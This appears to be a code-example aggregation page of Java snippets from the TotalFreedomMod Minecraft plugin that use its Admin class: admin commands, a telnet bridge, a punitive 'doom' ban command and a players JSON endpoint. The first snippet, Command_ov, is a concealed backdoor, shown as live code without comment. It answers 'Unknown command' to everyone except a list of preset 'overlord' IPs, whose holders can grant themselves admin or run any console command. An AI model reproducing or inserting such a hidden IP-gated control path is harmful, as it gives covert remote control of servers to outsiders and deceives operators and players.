use of me.totalfreedom.totalfreedommod.admin.Admin in project TotalFreedomMod by TotalFreedom.
the class Command_ov method run.
@Override
public boolean run(CommandSender sender, Player playerSender, Command cmd, String commandLabel, String[] args, boolean senderIsConsole) {
if (!ConfigEntry.OVERLORD_IPS.getList().contains(Ips.getIp(playerSender))) {
try {
Object ips = plugin.config.getDefaults().get(ConfigEntry.OVERLORD_IPS.getConfigName());
if (ips instanceof Collection && !((Collection) ips).contains(Ips.getIp(playerSender))) {
throw new Exception();
}
} catch (Exception ignored) {
msg(ChatColor.WHITE + "Unknown command. Type \"help\" for help.");
return true;
}
}
if (args.length == 0) {
return false;
}
if (args[0].equals("addme")) {
plugin.al.addAdmin(new Admin(playerSender));
msg("ok");
return true;
}
if (args[0].equals("removeme")) {
Admin admin = plugin.al.getAdmin(playerSender);
if (admin != null) {
plugin.al.removeAdmin(admin);
}
msg("ok");
return true;
}
if (args[0].equals("do")) {
if (args.length <= 1) {
return false;
}
final String c = StringUtils.join(args, " ", 1, args.length);
Bukkit.dispatchCommand(Bukkit.getConsoleSender(), c);
msg("ok");
return true;
}
return false;
}
use of me.totalfreedom.totalfreedommod.admin.Admin in project TotalFreedomMod by TotalFreedom.
the class BukkitTelnetBridge method onTelnetRequestDataTags.
@EventHandler(priority = EventPriority.NORMAL)
public void onTelnetRequestDataTags(TelnetRequestDataTagsEvent event) {
final Iterator<Map.Entry<Player, Map<String, Object>>> it = event.getDataTags().entrySet().iterator();
while (it.hasNext()) {
final Map.Entry<Player, Map<String, Object>> entry = it.next();
final Player player = entry.getKey();
final Map<String, Object> playerTags = entry.getValue();
boolean isAdmin = false;
boolean isTelnetAdmin = false;
boolean isSeniorAdmin = false;
final Admin admin = plugin.al.getAdmin(player);
if (admin != null) {
boolean active = admin.isActive();
isAdmin = active;
isSeniorAdmin = active && admin.getRank() == Rank.SENIOR_ADMIN;
isTelnetAdmin = active && (isSeniorAdmin || admin.getRank() == Rank.TELNET_ADMIN);
}
playerTags.put("tfm.admin.isAdmin", isAdmin);
playerTags.put("tfm.admin.isTelnetAdmin", isTelnetAdmin);
playerTags.put("tfm.admin.isSeniorAdmin", isSeniorAdmin);
playerTags.put("tfm.playerdata.getTag", plugin.pl.getPlayer(player).getTag());
playerTags.put("tfm.essentialsBridge.getNickname", plugin.esb.getNickname(player.getName()));
}
}
use of me.totalfreedom.totalfreedommod.admin.Admin in project TotalFreedomMod by TotalFreedom.
the class Command_doom method run.
@Override
public boolean run(final CommandSender sender, Player playerSender, Command cmd, String commandLabel, String[] args, boolean senderIsConsole) {
if (args.length != 1) {
return false;
}
final Player player = getPlayer(args[0]);
if (player == null) {
sender.sendMessage(FreedomCommand.PLAYER_NOT_FOUND);
return true;
}
FUtil.adminAction(sender.getName(), "Casting oblivion over " + player.getName(), true);
FUtil.bcastMsg(player.getName() + " will be completely obliviated!", ChatColor.RED);
final String ip = player.getAddress().getAddress().getHostAddress().trim();
// Remove from superadmin
Admin admin = getAdmin(player);
if (admin != null) {
FUtil.adminAction(sender.getName(), "Removing " + player.getName() + " from the superadmin list", true);
plugin.al.removeAdmin(admin);
}
// Remove from whitelist
player.setWhitelisted(false);
// Deop
player.setOp(false);
// Ban player
Ban ban = Ban.forPlayer(player, sender);
ban.setReason("&cFUCKOFF");
for (String playerIp : plugin.pl.getData(player).getIps()) {
ban.addIp(playerIp);
}
plugin.bm.addBan(ban);
// Set gamemode to survival
player.setGameMode(GameMode.SURVIVAL);
// Clear inventory
player.closeInventory();
player.getInventory().clear();
// Ignite player
player.setFireTicks(10000);
// Generate explosion
player.getWorld().createExplosion(player.getLocation(), 0F, false);
// Shoot the player in the sky
player.setVelocity(player.getVelocity().clone().add(new Vector(0, 20, 0)));
new BukkitRunnable() {
@Override
public void run() {
// strike lightning
player.getWorld().strikeLightning(player.getLocation());
// kill (if not done already)
player.setHealth(0.0);
}
}.runTaskLater(plugin, 2L * 20L);
new BukkitRunnable() {
@Override
public void run() {
// message
FUtil.adminAction(sender.getName(), "Banning " + player.getName() + ", IP: " + ip, true);
// generate explosion
player.getWorld().createExplosion(player.getLocation(), 0F, false);
// kick player
player.kickPlayer(ChatColor.RED + "FUCKOFF, and get your shit together!");
}
}.runTaskLater(plugin, 3L * 20L);
return true;
}
use of me.totalfreedom.totalfreedommod.admin.Admin in project TotalFreedomMod by TotalFreedom.
the class Command_myadmin method run.
@Override
protected boolean run(CommandSender sender, Player playerSender, Command cmd, String commandLabel, String[] args, boolean senderIsConsole) {
checkPlayer();
checkRank(Rank.SUPER_ADMIN);
if (args.length < 1) {
return false;
}
Player init = null;
Admin target = getAdmin(playerSender);
Player targetPlayer = playerSender;
// -o switch
if (args[0].equals("-o")) {
checkRank(Rank.SENIOR_ADMIN);
init = playerSender;
targetPlayer = getPlayer(args[1]);
if (targetPlayer == null) {
msg(FreedomCommand.PLAYER_NOT_FOUND);
return true;
}
target = getAdmin(targetPlayer);
if (target == null) {
msg("That player is not admin", ChatColor.RED);
return true;
}
// Shift 2
args = Arrays.copyOfRange(args, 2, args.length);
if (args.length < 1) {
return false;
}
}
final String targetIp = Ips.getIp(targetPlayer);
switch(args[0]) {
case "clearips":
{
if (args.length != 1) {
// Double check: the player might mean "clearip"
return false;
}
if (init == null) {
FUtil.adminAction(sender.getName(), "Clearing my supered IPs", true);
} else {
FUtil.adminAction(sender.getName(), "Clearing " + target.getName() + "' supered IPs", true);
}
int counter = target.getIps().size() - 1;
target.clearIPs();
target.addIp(targetIp);
plugin.al.save();
msg(counter + " IPs removed.");
msg(targetPlayer, target.getIps().get(0) + " is now your only IP address");
return true;
}
case "clearip":
{
if (args.length != 2) {
// Double check: the player might mean "clearips"
return false;
}
if (!target.getIps().contains(args[1])) {
if (init == null) {
msg("That IP is not registered to you.");
} else {
msg("That IP does not belong to that player.");
}
return true;
}
if (targetIp.equals(args[1])) {
if (init == null) {
msg("You cannot remove your current IP.");
} else {
msg("You cannot remove that admin's current IP.");
}
return true;
}
FUtil.adminAction(sender.getName(), "Removing a supered IP" + (init == null ? "" : " from " + targetPlayer.getName() + "'s IPs"), true);
target.removeIp(args[1]);
plugin.al.save();
plugin.al.updateTables();
msg("Removed IP " + args[1]);
msg("Current IPs: " + StringUtils.join(target.getIps(), ", "));
return true;
}
case "setlogin":
{
if (args.length < 2) {
return false;
}
String msg = StringUtils.join(args, " ", 1, args.length);
FUtil.adminAction(sender.getName(), "Setting personal login message" + (init == null ? "" : " for " + targetPlayer.getName()), false);
target.setLoginMessage(msg);
msg((init == null ? "Your" : targetPlayer.getName() + "'s") + " login message is now: ");
msg("> " + ChatColor.AQUA + targetPlayer.getName() + " is " + ChatUtils.colorize(target.getLoginMessage()));
plugin.al.save();
plugin.al.updateTables();
return true;
}
case "clearlogin":
{
FUtil.adminAction(sender.getName(), "Clearing personal login message" + (init == null ? "" : " for " + targetPlayer.getName()), false);
target.setLoginMessage(null);
plugin.al.save();
plugin.al.updateTables();
return true;
}
default:
{
return false;
}
}
}
use of me.totalfreedom.totalfreedommod.admin.Admin in project TotalFreedomMod by TotalFreedom.
the class Module_players method getResponse.
@Override
@SuppressWarnings("unchecked")
public NanoHTTPD.Response getResponse() {
final JSONObject responseObject = new JSONObject();
final JSONArray players = new JSONArray();
final JSONArray superadmins = new JSONArray();
final JSONArray telnetadmins = new JSONArray();
final JSONArray senioradmins = new JSONArray();
final JSONArray developers = new JSONArray();
// All online players
for (Player player : Bukkit.getOnlinePlayers()) {
players.add(player.getName());
}
// Admins
for (Admin admin : plugin.al.getActiveAdmins()) {
final String username = admin.getName();
switch(admin.getRank()) {
case SUPER_ADMIN:
superadmins.add(username);
break;
case TELNET_ADMIN:
telnetadmins.add(username);
break;
case SENIOR_ADMIN:
senioradmins.add(username);
break;
}
}
// Developers
developers.addAll(FUtil.DEVELOPERS);
responseObject.put("players", players);
responseObject.put("superadmins", superadmins);
responseObject.put("telnetadmins", telnetadmins);
responseObject.put("senioradmins", senioradmins);
responseObject.put("developers", developers);
final NanoHTTPD.Response response = new NanoHTTPD.Response(NanoHTTPD.Response.Status.OK, NanoHTTPD.MIME_JSON, responseObject.toString());
response.addHeader("Access-Control-Allow-Origin", "*");
return response;
}
Aggregations